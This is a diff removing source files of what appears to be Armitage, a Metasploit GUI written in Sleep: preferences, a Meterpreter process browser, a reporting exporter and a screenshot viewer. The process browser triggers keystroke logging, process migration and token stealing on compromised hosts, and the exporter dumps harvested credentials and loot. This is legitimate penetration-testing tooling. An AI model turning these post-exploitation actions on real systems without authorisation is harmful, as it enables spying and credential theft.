$graphics = [GraphicsEnvironment getLocalGraphicsEnvironment];
|
|
||||||
|
|
||||||
# style..
|
|
||||||
if ([$font isItalic] && [$font isBold]) { $_style = "Bold + Italic"; }
|
|
||||||
else if ([$font isItalic]) { $_style = "Italic"; }
|
|
||||||
else if ([$font isBold]) { $_style = "Bold"; }
|
|
||||||
else { $_style = "Plain"; }
|
|
||||||
|
|
||||||
$select = select([$graphics getAvailableFontFamilyNames], [$font getFamily]);
|
|
||||||
$style = select(@("Plain", "Bold", "Italic", "Bold + Italic"), $_style);
|
|
||||||
$size = select(@(5, 8, 9, 10, 11, 12, 13, 14, 15, 16, 20, 23, 26, 30, 33, 38), [$font getSize] . "");
|
|
||||||
|
|
||||||
$preview = [new JLabel: "nEWBS gET p0WNED by km-r4d h4x0rz"];
|
|
||||||
|
|
||||||
$l = lambda(&selectListener, \$select, \$style, \$size, \$preview, \$dialog);
|
|
||||||
map(lambda({ [$1 addItemListener: $l]; }, \$l), @($select, $style, $size));
|
|
||||||
[$l];
|
|
||||||
|
|
||||||
$ok = [new JButton: "Ok"];
|
|
||||||
[$ok addActionListener: lambda({
|
|
||||||
local('$font');
|
|
||||||
[$model setValueAtRow: $row, "value", [$l]];
|
|
||||||
[$model fireListeners];
|
|
||||||
[$dialog setVisible: 0];
|
|
||||||
}, \$dialog, \$model, \$row, \$l)];
|
|
||||||
|
|
||||||
$cancel = [new JButton: "Cancel"];
|
|
||||||
[$cancel addActionListener: lambda({ [$dialog setVisible: 0]; }, \$dialog)];
|
|
||||||
|
|
||||||
[$dialog add: center($select, $style, $size), [BorderLayout NORTH]];
|
|
||||||
[$dialog add: center($preview)];
|
|
||||||
[$dialog add: center($ok, $cancel), [BorderLayout SOUTH]];
|
|
||||||
[$dialog pack];
|
|
||||||
[$dialog setVisible: 1];
|
|
||||||
[$dialog show];
|
|
||||||
}
|
|
||||||
else if ($type eq "shortcut") {
|
|
||||||
local('$dialog $label');
|
|
||||||
$dialog = dialog("Shortcut", 100, 100);
|
|
||||||
$label = [new JLabel: "Type the desired key:"];
|
|
||||||
[$dialog add: $label];
|
|
||||||
[$dialog pack];
|
|
||||||
|
|
||||||
[$label setFocusTraversalKeys: [KeyboardFocusManager FORWARD_TRAVERSAL_KEYS], [new HashSet]];
|
|
||||||
[$label setFocusTraversalKeys: [KeyboardFocusManager BACKWARD_TRAVERSAL_KEYS], [new HashSet]];
|
|
||||||
[$label setFocusTraversalKeys: [KeyboardFocusManager UP_CYCLE_TRAVERSAL_KEYS], [new HashSet]];
|
|
||||||
|
|
||||||
[$label addKeyListener: lambda({
|
|
||||||
if ($0 eq "keyReleased") {
|
|
||||||
[$model setValueAtRow: $row, "value", strrep([KeyStroke getKeyStrokeForEvent: $1], 'released', 'pressed')];
|
|
||||||
[$model fireListeners];
|
|
||||||
[$dialog setVisible: 0];
|
|
||||||
}
|
|
||||||
}, \$dialog, \$model, \$row)];
|
|
||||||
|
|
||||||
[$dialog setVisible: 1];
|
|
||||||
[$dialog show];
|
|
||||||
[$label requestFocus];
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}, \$model, \$table));
|
|
||||||
|
|
||||||
local('$button $reset');
|
|
||||||
$button = [new JButton: "Save"];
|
|
||||||
[$button addActionListener: lambda({
|
|
||||||
local('$row $key $value');
|
|
||||||
$preferences = [new Properties];
|
|
||||||
foreach $row (convertAll([$model getRows])) {
|
|
||||||
($key, $value) = values($row, @('key', 'value'));
|
|
||||||
[$preferences setProperty: $key, $value];
|
|
||||||
}
|
|
||||||
savePreferences();
|
|
||||||
showError("Preferences saved.");
|
|
||||||
}, \$model)];
|
|
||||||
|
|
||||||
$reset = [new JButton: "Reset"];
|
|
||||||
[$reset addActionListener: lambda({
|
|
||||||
local('$file');
|
|
||||||
$file = getFileProper(systemProperties()["user.home"], ".armitage.prop");
|
|
||||||
deleteFile($file);
|
|
||||||
$preferences = loadPreferences();
|
|
||||||
[$model clear: 256];
|
|
||||||
updatePrefModel($model);
|
|
||||||
[$model fireListeners];
|
|
||||||
}, \$model)];
|
|
||||||
|
|
||||||
[$panel add: center($button, $reset), [BorderLayout SOUTH]];
|
|
||||||
|
|
||||||
local('$dialog');
|
|
||||||
$dialog = dialog("Preferences", 640, 480);
|
|
||||||
[$dialog add: $panel, [BorderLayout CENTER]];
|
|
||||||
[$button addActionListener: lambda({ [$dialog setVisible: 0]; }, \$dialog)];
|
|
||||||
[$dialog setVisible: 1];
|
|
||||||
[$dialog show];
|
|
||||||
}
|
|
||||||
|
|
||||||
# sets up the Metasploit base file and the data directory file...
|
|
||||||
sub setupBaseDirectory {
|
|
||||||
local('%o');
|
|
||||||
%o = call($client, "module.options", "post", "multi/gather/dns_bruteforce");
|
|
||||||
|
|
||||||
if ("NAMELIST" in %o && "default" in %o["NAMELIST"]) {
|
|
||||||
$BASE_DIRECTORY = getFileParent(getFileParent(getFileParent(getFileParent(%o["NAMELIST"]["default"]))));
|
|
||||||
$DATA_DIRECTORY = getFileParent(getFileParent(%o["NAMELIST"]["default"]));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
sub connectToDatabase {
|
|
||||||
local('$dbuser $dbpass $dburl $database $dbstring');
|
|
||||||
$dbstring = loadDatabasePreferences($preferences);
|
|
||||||
|
|
||||||
if ($dbstring eq "") {
|
|
||||||
throw [new RuntimeException: "could not find database settings"];
|
|
||||||
}
|
|
||||||
|
|
||||||
($dbuser, $dbpass, $dburl) = matches($dbstring, '(.*?):.(.*?).@(.*)');
|
|
||||||
$database = [new DatabaseImpl];
|
|
||||||
[$database connect: "jdbc:postgresql:// $+ $dburl", $dbuser, $dbpass];
|
|
||||||
|
|
||||||
# connect to the database from metasploit if need be.
|
|
||||||
cmd_safe("db_status", lambda({
|
|
||||||
if ("* connected to *" !iswm $3) {
|
|
||||||
cmd_safe("db_connect $dbstring", {
|
|
||||||
warn(@_);
|
|
||||||
});
|
|
||||||
}
|
|
||||||
}, \$dbstring));
|
|
||||||
|
|
||||||
return $database;
|
|
||||||
}
|
|
||||||
|
|
||||||
sub dataDirectory {
|
|
||||||
local('$f');
|
|
||||||
|
|
||||||
if ([$preferences getProperty: "armitage.log_data_here.folder", ""] eq "") {
|
|
||||||
[$preferences setProperty: "armitage.log_data_here.folder", getFileProper(systemProperties()["user.home"], ".armitage")];
|
|
||||||
savePreferences();
|
|
||||||
}
|
|
||||||
|
|
||||||
$f = [$preferences getProperty: "armitage.log_data_here.folder"];
|
|
||||||
if (-exists $f && !-canwrite $f) {
|
|
||||||
println("I do not have permission to write to:\n $+ $f");
|
|
||||||
}
|
|
||||||
|
|
||||||
return $f;
|
|
||||||
}
|
|
||||||
|
|
||||||
sub thisIsTheirCommercialStuff {
|
|
||||||
# check if we're living in a Metasploit 4.5+ installer environment.
|
|
||||||
return iff("*app*pro*" iswm $BASE_DIRECTORY);
|
|
||||||
}
|
|
|
@ -1,128 +0,0 @@
|
||||||
#
|
|
||||||
# Process Browser (for Meterpreter)
|
|
||||||
#
|
|
||||||
|
|
||||||
import table.*;
|
|
||||||
|
|
||||||
import java.awt.*;
|
|
||||||
import java.awt.event.*;
|
|
||||||
|
|
||||||
import javax.swing.*;
|
|
||||||
import javax.swing.event.*;
|
|
||||||
import javax.swing.table.*;
|
|
||||||
|
|
||||||
import ui.*;
|
|
||||||
|
|
||||||
global('%processes');
|
|
||||||
%processes = ohash();
|
|
||||||
|
|
||||||
setMissPolicy(%processes, { return [new GenericTableModel: @("PID", "Name", "Arch", "Session", "User", "Path"), "PID", 128]; });
|
|
||||||
|
|
||||||
sub parseProcessList {
|
|
||||||
if ($0 eq "end") {
|
|
||||||
local('@rows $row');
|
|
||||||
[%processes[$1] clear: 128];
|
|
||||||
@rows = parseTextTable($2, @("PID", "PPID", "Name", "Arch", "Session", "User", "Path"));
|
|
||||||
if (size(@rows) == 0) {
|
|
||||||
# REMOVEME--this is a backwards compatability hack.
|
|
||||||
@rows = parseTextTable($2, @("PID", "Name", "Arch", "Session", "User", "Path"));
|
|
||||||
}
|
|
||||||
|
|
||||||
# this is the format for Java meterpreter
|
|
||||||
if (size(@rows) == 0) {
|
|
||||||
@rows = parseTextTable($2, @("PID", "Name", "Arch", "User", "Path"));
|
|
||||||
}
|
|
||||||
|
|
||||||
foreach $row (@rows) {
|
|
||||||
[%processes[$1] addEntry: $row];
|
|
||||||
}
|
|
||||||
[%processes[$1] fireListeners];
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
%handlers["ps"] = &parseProcessList;
|
|
||||||
%handlers["migrate"] = { if ($0 eq "begin") { showError("$2"); } };
|
|
||||||
|
|
||||||
sub createProcessBrowser {
|
|
||||||
local('$table $model $panel $sorter');
|
|
||||||
|
|
||||||
$model = %processes[$1];
|
|
||||||
|
|
||||||
$panel = [new JPanel];
|
|
||||||
[$panel setLayout: [new BorderLayout]];
|
|
||||||
|
|
||||||
$table = [new ATable: $model];
|
|
||||||
$sorter = [new TableRowSorter: $model];
|
|
||||||
[$sorter toggleSortOrder: 0];
|
|
||||||
[$table setRowSorter: $sorter];
|
|
||||||
|
|
||||||
# setup popup hook for processes
|
|
||||||
addMouseListener($table, lambda({
|
|
||||||
if ([$1 isPopupTrigger]) {
|
|
||||||
local('$r');
|
|
||||||
$r = [$model getSelectedValuesFromColumns: $table, @("PID", "Name", "User", "Path")];
|
|
||||||
if (size($r) > 0) {
|
|
||||||
installMenu($1, "process", $r);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}, \$table, \$model));
|
|
||||||
|
|
||||||
# allow only one row to be selected at a time.
|
|
||||||
|
|
||||||
[$sorter setComparator: 0, {
|
|
||||||
return $1 <=> $2;
|
|
||||||
}];
|
|
||||||
|
|
||||||
[$panel add: [new JScrollPane: $table], [BorderLayout CENTER]];
|
|
||||||
|
|
||||||
local('$a $b $bb $bbb $c');
|
|
||||||
$a = [new JButton: "Kill"];
|
|
||||||
[$a addActionListener: lambda({
|
|
||||||
local('$procs $v');
|
|
||||||
$procs = [$model getSelectedValues: $table];
|
|
||||||
foreach $v ($procs) {
|
|
||||||
m_cmd($m, "kill $v");
|
|
||||||
}
|
|
||||||
sleep(250);
|
|
||||||
m_cmd($m, "ps");
|
|
||||||
}, $m => $1, \$table, \$model)];
|
|
||||||
|
|
||||||
$b = [new JButton: "Migrate"];
|
|
||||||
[$b addActionListener: lambda({
|
|
||||||
local('$v');
|
|
||||||
$v = [$model getSelectedValue: $table];
|
|
||||||
if ($v !is $null) {
|
|
||||||
m_cmd($m, "migrate $v");
|
|
||||||
}
|
|
||||||
}, $m => $1, \$table, \$model)];
|
|
||||||
|
|
||||||
$bb = [new JButton: "Log Keystrokes"];
|
|
||||||
[$bb addActionListener: lambda({
|
|
||||||
local('$v');
|
|
||||||
$v = [$model getSelectedValue: $table];
|
|
||||||
if ($v !is $null) {
|
|
||||||
launch_dialog("Log Keystrokes", "post", "windows/capture/keylog_recorder", 1, $null, %(SESSION => $m, MIGRATE => 1, ShowKeystrokes => 1, PID => $v, CAPTURE_TYPE => "pid"));
|
|
||||||
}
|
|
||||||
}, $m => $1, \$table, \$model)];
|
|
||||||
|
|
||||||
$bbb = [new JButton: "Steal Token"];
|
|
||||||
[$bbb addActionListener: lambda({
|
|
||||||
local('$v');
|
|
||||||
$v = [$model getSelectedValue: $table];
|
|
||||||
if ($v !is $null) {
|
|
||||||
m_cmd_callback($m, "steal_token $v", { if ($0 eq "end") { showError(["$2" trim]); } });
|
|
||||||
}
|
|
||||||
}, $m => $1, \$table, \$model)];
|
|
||||||
|
|
||||||
$c = [new JButton: "Refresh"];
|
|
||||||
[$c addActionListener:
|
|
||||||
lambda({
|
|
||||||
m_cmd($m, "ps");
|
|
||||||
}, $m => $1)
|
|
||||||
];
|
|
||||||
|
|
||||||
[$panel add: center($a, $b, $bb, $bbb, $c), [BorderLayout SOUTH]];
|
|
||||||
|
|
||||||
[$frame addTab: "Processes $1", $panel, $null, "Processes " . sessionToHost($1)];
|
|
||||||
m_cmd($1, "ps");
|
|
||||||
}
|
|
|
@ -1,364 +0,0 @@
|
||||||
#
|
|
||||||
# Armitage Reporting... (well, sorta... not going to generate PDFs any time soon :))
|
|
||||||
#
|
|
||||||
|
|
||||||
import java.io.*;
|
|
||||||
import java.awt.*;
|
|
||||||
import java.awt.event.*;
|
|
||||||
|
|
||||||
import javax.swing.*;
|
|
||||||
import javax.swing.event.*;
|
|
||||||
|
|
||||||
sub dumpTSVData {
|
|
||||||
local('$handle $entry $key $value');
|
|
||||||
if ($3 is $null) {
|
|
||||||
warn("No data for $1");
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
$handle = openf("> $+ $1 $+ .tsv");
|
|
||||||
println($handle, join("\t", $2));
|
|
||||||
foreach $entry ($3) {
|
|
||||||
foreach $key => $value ($entry) {
|
|
||||||
$value = strrep(["$value" trim], "\t", " ", "\n", "\\n");
|
|
||||||
}
|
|
||||||
|
|
||||||
println($handle, join("\t", values($entry, $2)));
|
|
||||||
}
|
|
||||||
closef($handle);
|
|
||||||
}
|
|
||||||
|
|
||||||
sub dumpXMLData {
|
|
||||||
local('$handle $entry $key $value');
|
|
||||||
if ($3 is $null) {
|
|
||||||
warn("No data for $1");
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
$handle = openf("> $+ $1 $+ .xml");
|
|
||||||
println($handle, "< $+ $1 $+ >");
|
|
||||||
foreach $entry ($3) {
|
|
||||||
println($handle, "\t<entry>");
|
|
||||||
foreach $key ($2) {
|
|
||||||
$value = $entry[$key];
|
|
||||||
if ($key eq "info") {
|
|
||||||
println($handle, "\t\t< $+ $key $+ ><![CDATA[ $+ $value $+ ]]></ $+ $key $+ >");
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
println($handle, "\t\t< $+ $key $+ > $+ $value $+ </ $+ $key $+ >");
|
|
||||||
}
|
|
||||||
}
|
|
||||||
println($handle, "\t</entry>");
|
|
||||||
}
|
|
||||||
println($handle, "</ $+ $1 $+ >");
|
|
||||||
closef($handle);
|
|
||||||
}
|
|
||||||
|
|
||||||
sub dumpData {
|
|
||||||
dumpXMLData($1, $2, $3);
|
|
||||||
dumpTSVData($1, $2, $3);
|
|
||||||
logFile("$1 $+ .xml", "artifacts", "xml");
|
|
||||||
logFile("$1 $+ .tsv", "artifacts", "tsv");
|
|
||||||
deleteFile("$1 $+ .xml");
|
|
||||||
deleteFile("$1 $+ .tsv");
|
|
||||||
}
|
|
||||||
|
|
||||||
sub fixHosts {
|
|
||||||
# avoid duplicate host entries
|
|
||||||
local('%unique $entry');
|
|
||||||
foreach $entry ($1) {
|
|
||||||
%unique[$entry['address']] = $entry;
|
|
||||||
}
|
|
||||||
|
|
||||||
return sort({
|
|
||||||
return [graph.Route ipToLong: $1['address']] <=> [graph.Route ipToLong: $2['address']];
|
|
||||||
}, values(%unique));
|
|
||||||
}
|
|
||||||
|
|
||||||
sub fixSessions {
|
|
||||||
local('$session $info');
|
|
||||||
foreach $session ($1) {
|
|
||||||
if ("exploit/*" iswm $session['via_exploit'] && substr($session['via_exploit'], 8) in @exploits) {
|
|
||||||
$info = call($mclient, "module.info", "exploit", substr($session['via_exploit'], 8));
|
|
||||||
|
|
||||||
# fix some options
|
|
||||||
$session['exploit_name'] = $info['name'];
|
|
||||||
}
|
|
||||||
else if ("auxiliary/*" iswm $session['via_exploit'] && substr($session['via_exploit'], 10) in @auxiliary) {
|
|
||||||
$info = call($mclient, "module.info", "auxiliary", substr($session['via_exploit'], 10));
|
|
||||||
|
|
||||||
# fix some options
|
|
||||||
$session['exploit_name'] = $info['name'];
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return $1;
|
|
||||||
}
|
|
||||||
|
|
||||||
sub fixTimeline {
|
|
||||||
local('$event $source $username');
|
|
||||||
foreach $event ($1) {
|
|
||||||
($source, $username) = split('//', $event['username']);
|
|
||||||
$event['source'] = $source;
|
|
||||||
$event['username'] = $username;
|
|
||||||
}
|
|
||||||
return $1;
|
|
||||||
}
|
|
||||||
|
|
||||||
sub fixVulns {
|
|
||||||
local('$id $vuln %vulns %refs $info $type $module');
|
|
||||||
%refs = ohash();
|
|
||||||
setMissPolicy(%refs, { return @(); });
|
|
||||||
|
|
||||||
# let's group everything by a unique vulnerability id... we're going to collapse the
|
|
||||||
# the vulns into one row with comma separated refs.
|
|
||||||
foreach $vuln ($1) {
|
|
||||||
$id = $vuln['vid'];
|
|
||||||
%vulns[$id] = $vuln;
|
|
||||||
push(%refs[$id], $vuln['refs']);
|
|
||||||
}
|
|
||||||
|
|
||||||
# fix the references...
|
|
||||||
foreach $id => $vuln (%vulns) {
|
|
||||||
$vuln['refs'] = join(", ", %refs[$id]);
|
|
||||||
|
|
||||||
if ($vuln['info'] ismatch "Exploited by (.*?)/(.*?) to create Session \\d+") {
|
|
||||||
($type, $module) = matched();
|
|
||||||
|
|
||||||
$info = call($mclient, "module.info", $type, $module);
|
|
||||||
|
|
||||||
# fix some options
|
|
||||||
$vuln['module'] = "$type $+ / $+ $module";
|
|
||||||
$vuln['info'] = replace($info['description'], "\n\\s+", "\n");
|
|
||||||
}
|
|
||||||
else if ("exploit/*" iswm $vuln['name'] && substr($vuln['name'], 8) in @exploits) {
|
|
||||||
$info = call($mclient, "module.info", "exploit", substr($vuln['name'], 8));
|
|
||||||
|
|
||||||
# fix some options
|
|
||||||
$vuln['module'] = $vuln['name'];
|
|
||||||
$vuln['name'] = $info['name'];
|
|
||||||
$vuln['info'] = replace($info['description'], "\n\\s+", "\n");
|
|
||||||
}
|
|
||||||
else if ("auxiliary/*" iswm $vuln['name'] && substr($vuln['name'], 10) in @auxiliary) {
|
|
||||||
$info = call($mclient, "module.info", "auxiliary", substr($vuln['name'], 10));
|
|
||||||
|
|
||||||
# fix some options
|
|
||||||
$vuln['module'] = $vuln['name'];
|
|
||||||
$vuln['name'] = $info['name'];
|
|
||||||
$vuln['info'] = replace($info['description'], "\n\\s+", "\n");
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return sort({
|
|
||||||
return [graph.Route ipToLong: $1['host']] <=> [graph.Route ipToLong: $2['host']];
|
|
||||||
}, values(%vulns));
|
|
||||||
}
|
|
||||||
|
|
||||||
#
|
|
||||||
# query all of the data that we want...
|
|
||||||
# queryData(%workspace)
|
|
||||||
#
|
|
||||||
sub queryData {
|
|
||||||
local('%r $progress');
|
|
||||||
|
|
||||||
# 1. extract the known vulnerability information
|
|
||||||
%r['vulns'] = call($mclient, "db.vulns")["vulns"];
|
|
||||||
|
|
||||||
if ($progress) {
|
|
||||||
[$progress setProgress: 10];
|
|
||||||
}
|
|
||||||
|
|
||||||
%r['vulns'] = fixVulns(%r['vulns']);
|
|
||||||
|
|
||||||
# 2. credentials
|
|
||||||
%r['creds'] = call($mclient, "db.creds")["creds"];
|
|
||||||
|
|
||||||
if ($progress) {
|
|
||||||
[$progress setProgress: 20];
|
|
||||||
}
|
|
||||||
|
|
||||||
# 3. loot
|
|
||||||
%r['loots'] = call($mclient, "db.loots")["loots"];
|
|
||||||
|
|
||||||
if ($progress) {
|
|
||||||
[$progress setProgress: 30];
|
|
||||||
}
|
|
||||||
|
|
||||||
# 4. sessions...
|
|
||||||
%r['sessions'] = fixSessions(call($mclient, "db.sessions")["sessions"]);
|
|
||||||
|
|
||||||
if ($progress) {
|
|
||||||
[$progress setProgress: 36];
|
|
||||||
}
|
|
||||||
|
|
||||||
# 5. timeline
|
|
||||||
%r['timeline'] = fixTimeline(call($mclient, "db.events")['events']);
|
|
||||||
|
|
||||||
if ($progress) {
|
|
||||||
[$progress setProgress: 38];
|
|
||||||
}
|
|
||||||
|
|
||||||
# 6. hosts and services
|
|
||||||
local('@hosts @services $temp $h $s $x');
|
|
||||||
call($mclient, "armitage.prep_export", $1);
|
|
||||||
|
|
||||||
$temp = call($mclient, "armitage.export_data");
|
|
||||||
while (size($temp['hosts']) > 0) {
|
|
||||||
($h, $s) = values($temp, @('hosts', 'services'));
|
|
||||||
addAll(@hosts, $h);
|
|
||||||
addAll(@services, $s);
|
|
||||||
|
|
||||||
if ($progress) {
|
|
||||||
[$progress setProgress: 35 + $x];
|
|
||||||
}
|
|
||||||
$x += 2;
|
|
||||||
sleep(50);
|
|
||||||
$temp = call($mclient, "armitage.export_data");
|
|
||||||
}
|
|
||||||
|
|
||||||
%r['hosts'] = fixHosts(@hosts);
|
|
||||||
%r['services'] = @services;
|
|
||||||
|
|
||||||
return %r;
|
|
||||||
}
|
|
||||||
|
|
||||||
#
|
|
||||||
# extract and export Metasploit data to easily parsable files (TSV and XML)
|
|
||||||
#
|
|
||||||
sub generateArtifacts {
|
|
||||||
local('$dialog $select @workspaces $export');
|
|
||||||
|
|
||||||
$dialog = dialog("Export Data", 320, 200);
|
|
||||||
|
|
||||||
@workspaces = map({ return $1['name']; }, workspaces());
|
|
||||||
add(@workspaces, "All Hosts");
|
|
||||||
|
|
||||||
$select = select(@workspaces, "Show All");
|
|
||||||
$export = [new JButton: "Export"];
|
|
||||||
[$export addActionListener: lambda({
|
|
||||||
thread(lambda({
|
|
||||||
local('$filter $files');
|
|
||||||
if ($item eq "All Hosts") {
|
|
||||||
$filter = %();
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
$filter = search(workspaces(),
|
|
||||||
lambda({
|
|
||||||
return iff($1['name'] eq $item, $1);
|
|
||||||
}, \$item));
|
|
||||||
}
|
|
||||||
|
|
||||||
$files = _generateArtifacts($filter);
|
|
||||||
[gotoFile([new java.io.File: $files])];
|
|
||||||
}, $item => [$select getSelectedItem]));
|
|
||||||
[$dialog setVisible: 0];
|
|
||||||
}, \$select, \$dialog)];
|
|
||||||
|
|
||||||
[$dialog setLayout: [new BorderLayout]];
|
|
||||||
[$dialog add: label_for("Workspace:", 100, $select), [BorderLayout CENTER]];
|
|
||||||
[$dialog add: center($export), [BorderLayout SOUTH]];
|
|
||||||
[$dialog pack];
|
|
||||||
[$dialog setVisible: 1];
|
|
||||||
[$dialog show];
|
|
||||||
}
|
|
||||||
|
|
||||||
sub _generateArtifacts {
|
|
||||||
local('%data $progress');
|
|
||||||
|
|
||||||
$progress = [new javax.swing.ProgressMonitor: $null, "Exporting Data", "Querying Database...", 0, 100];
|
|
||||||
%data = queryData($1, \$progress);
|
|
||||||
|
|
||||||
[$progress setProgress: 50];
|
|
||||||
[$progress setNote: "Exporting Data"];
|
|
||||||
|
|
||||||
# 1. extract the known vulnerability information
|
|
||||||
dumpData("vulnerabilities", @("host", "port", "proto", "updated_at", "name", "refs", "info", "module"), %data['vulns']);
|
|
||||||
|
|
||||||
[$progress setProgress: 55];
|
|
||||||
|
|
||||||
# 2. credentials
|
|
||||||
dumpData("credentials", @("host", "port", "proto", "sname", "created_at", "active", "ptype", "user", "pass"), %data['creds']);
|
|
||||||
|
|
||||||
[$progress setProgress: 60];
|
|
||||||
|
|
||||||
# 3. loot
|
|
||||||
dumpData("loots", @("host", "ltype", "created_at", "updated_at", "info", "content_type", "name", "path"), %data['loots']);
|
|
||||||
|
|
||||||
[$progress setProgress: 65];
|
|
||||||
|
|
||||||
# 4. hosts
|
|
||||||
dumpData("hosts", @("address", "mac", "state", "address", "address6", "name", "purpose", "info", "os_name", "os_flavor", "os_sp", "os_lang", "os_match", "created_at", "updated_at"), %data['hosts']);
|
|
||||||
|
|
||||||
[$progress setProgress: 80];
|
|
||||||
|
|
||||||
# 5. services
|
|
||||||
dumpData("services", @("host", "port", "state", "proto", "name", "created_at", "updated_at", "info"), %data['services']);
|
|
||||||
|
|
||||||
[$progress setProgress: 90];
|
|
||||||
|
|
||||||
# 6. sessions
|
|
||||||
dumpData("sessions", @("host", "local_id", "stype", "platform", "via_payload", "via_exploit", "opened_at", "last_seen", "closed_at", "close_reason"), %data['sessions']);
|
|
||||||
|
|
||||||
[$progress setProgress: 93];
|
|
||||||
|
|
||||||
# 7. timeline
|
|
||||||
dumpData("timeline", @("source", "username", "created_at", "info"), %data['timeline']);
|
|
||||||
|
|
||||||
[$progress setProgress: 96];
|
|
||||||
|
|
||||||
# 8. take a pretty screenshot of the graph view...
|
|
||||||
[$progress setNote: "host picture :)"];
|
|
||||||
|
|
||||||
makeScreenshot("hosts.png");
|
|
||||||
if (-exists "hosts.png") {
|
|
||||||
logFile("hosts.png", "artifacts", ".");
|
|
||||||
deleteFile("hosts.png");
|
|
||||||
}
|
|
||||||
|
|
||||||
[$progress setProgress: 100];
|
|
||||||
[$progress close];
|
|
||||||
|
|
||||||
fire_event_async("user_export", %data);
|
|
||||||
|
|
||||||
return getFileProper(dataDirectory(), formatDate("yyMMdd"), $DESCRIBE, "artifacts");
|
|
||||||
}
|
|
||||||
|
|
||||||
#
|
|
||||||
# connects to the database (if necessary), resets the host index for pagination and... rocks it!
|
|
||||||
#
|
|
||||||
sub api_prep_export {
|
|
||||||
if ($db is $null) {
|
|
||||||
$db = connectToDatabase();
|
|
||||||
}
|
|
||||||
|
|
||||||
[$db resetHostsIndex];
|
|
||||||
[$db execute: "db.filter", $2];
|
|
||||||
return %(status => "success");
|
|
||||||
}
|
|
||||||
|
|
||||||
# pages through database and grabs all of the hosts and services data
|
|
||||||
sub api_export_data {
|
|
||||||
local('@hosts $temp @services $stemp');
|
|
||||||
|
|
||||||
# call db.filter here if requested...
|
|
||||||
@hosts = call($db, "db.hosts")['hosts'];
|
|
||||||
|
|
||||||
# get all of the services for these hosts...
|
|
||||||
[$db resetServicesIndex];
|
|
||||||
$temp = call($db, "db.services")['services'];
|
|
||||||
|
|
||||||
while (size($temp) > 0) {
|
|
||||||
addAll(@services, $temp);
|
|
||||||
[$db nextServicesIndex];
|
|
||||||
$temp = call($db, "db.services")['services'];
|
|
||||||
}
|
|
||||||
|
|
||||||
[$db nextHostsIndex];
|
|
||||||
return %(hosts => @hosts, services => @services);
|
|
||||||
}
|
|
||||||
|
|
||||||
sub initReporting {
|
|
||||||
wait(fork({
|
|
||||||
global('$db');
|
|
||||||
[$client addHook: "armitage.export_data", &api_export_data];
|
|
||||||
[$client addHook: "armitage.prep_export", &api_prep_export];
|
|
||||||
}, \$client, $mclient => $client, \$preferences, \$yaml_file, \$BASE_DIRECTORY, \$yaml_entry));
|
|
||||||
}
|
|
|
@ -1,102 +0,0 @@
|
||||||
#
|
|
||||||
# Screenshot viewer... whee?!?
|
|
||||||
#
|
|
||||||
import java.awt.*;
|
|
||||||
import java.awt.event.*;
|
|
||||||
|
|
||||||
import javax.swing.*;
|
|
||||||
import javax.swing.event.*;
|
|
||||||
import javax.imageio.*;
|
|
||||||
import java.io.File;
|
|
||||||
|
|
||||||
import ui.*;
|
|
||||||
|
|
||||||
import armitage.*;
|
|
||||||
|
|
||||||
global('%screenshots %webcams');
|
|
||||||
%screenshots = ohash();
|
|
||||||
%webcams = ohash();
|
|
||||||
|
|
||||||
sub image_viewer
|
|
||||||
{
|
|
||||||
local('$panel $viewer $buttons $refresh $watch');
|
|
||||||
|
|
||||||
$panel = [new JPanel];
|
|
||||||
[$panel setLayout: [new BorderLayout]];
|
|
||||||
|
|
||||||
$viewer = [new ZoomableImage];
|
|
||||||
[$panel add: [new JScrollPane: $viewer], [BorderLayout CENTER]];
|
|
||||||
|
|
||||||
$buttons = [new JPanel];
|
|
||||||
[$buttons setLayout: [new FlowLayout: [FlowLayout CENTER]]];
|
|
||||||
$refresh = [new JButton: "Refresh"];
|
|
||||||
[$refresh addActionListener: lambda({
|
|
||||||
m_cmd($sid, $command);
|
|
||||||
}, $sid => $2, \$command)];
|
|
||||||
[$buttons add: $refresh];
|
|
||||||
|
|
||||||
$watch = [new JButton: "Watch (10s)"];
|
|
||||||
[$watch addActionListener: lambda({
|
|
||||||
local('$timer');
|
|
||||||
$timer = [new SimpleTimer: 10000];
|
|
||||||
[$timer setRunnable: lambda({
|
|
||||||
if ($sid !in $container) {
|
|
||||||
[$timer stop];
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
m_cmd($sid, $command);
|
|
||||||
}
|
|
||||||
}, \$sid, \$timer, \$container, \$command)];
|
|
||||||
}, $sid => $2, \$container, \$command)];
|
|
||||||
[$buttons add: $watch];
|
|
||||||
[$panel add: $buttons, [BorderLayout SOUTH]];
|
|
||||||
|
|
||||||
[$frame addTab: "$title $2", $panel, lambda({ $container[$key] = $null; size($container); }, $key => $2, \$container), "$title " . sessionToHost($2)];
|
|
||||||
return $viewer;
|
|
||||||
}
|
|
||||||
|
|
||||||
sub update_viewer {
|
|
||||||
if ($0 eq "update" && "*Operation failed*" iswm $2) {
|
|
||||||
showError($2);
|
|
||||||
}
|
|
||||||
else if ($0 eq "update" && $2 ismatch "$type saved to: (.*?)") {
|
|
||||||
local('$file $image $panel');
|
|
||||||
($file) = matched();
|
|
||||||
|
|
||||||
# we're collaborating, so download the file please...
|
|
||||||
if ($client !is $mclient) {
|
|
||||||
$file = getFileProper(cwd(), downloadFile($file));
|
|
||||||
}
|
|
||||||
|
|
||||||
logFile($file, sessionToHost($1), $type);
|
|
||||||
$image = [ImageIO read: [new File: $file]];
|
|
||||||
|
|
||||||
fire_event_async("user_" . lc(strrep($type, " ", "_")), $1, $file);
|
|
||||||
|
|
||||||
dispatchEvent(lambda({
|
|
||||||
[$container[$id] setIcon: [new ImageIcon: $image]];
|
|
||||||
}, \$container, \$image, $id => $1));
|
|
||||||
|
|
||||||
if (-isFile $file && "*.jpeg" iswm $file) {
|
|
||||||
deleteOnExit($file);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
setMissPolicy(%screenshots, lambda(&image_viewer, $title => "Screenshot", $command => "screenshot -v false", $container => %screenshots));
|
|
||||||
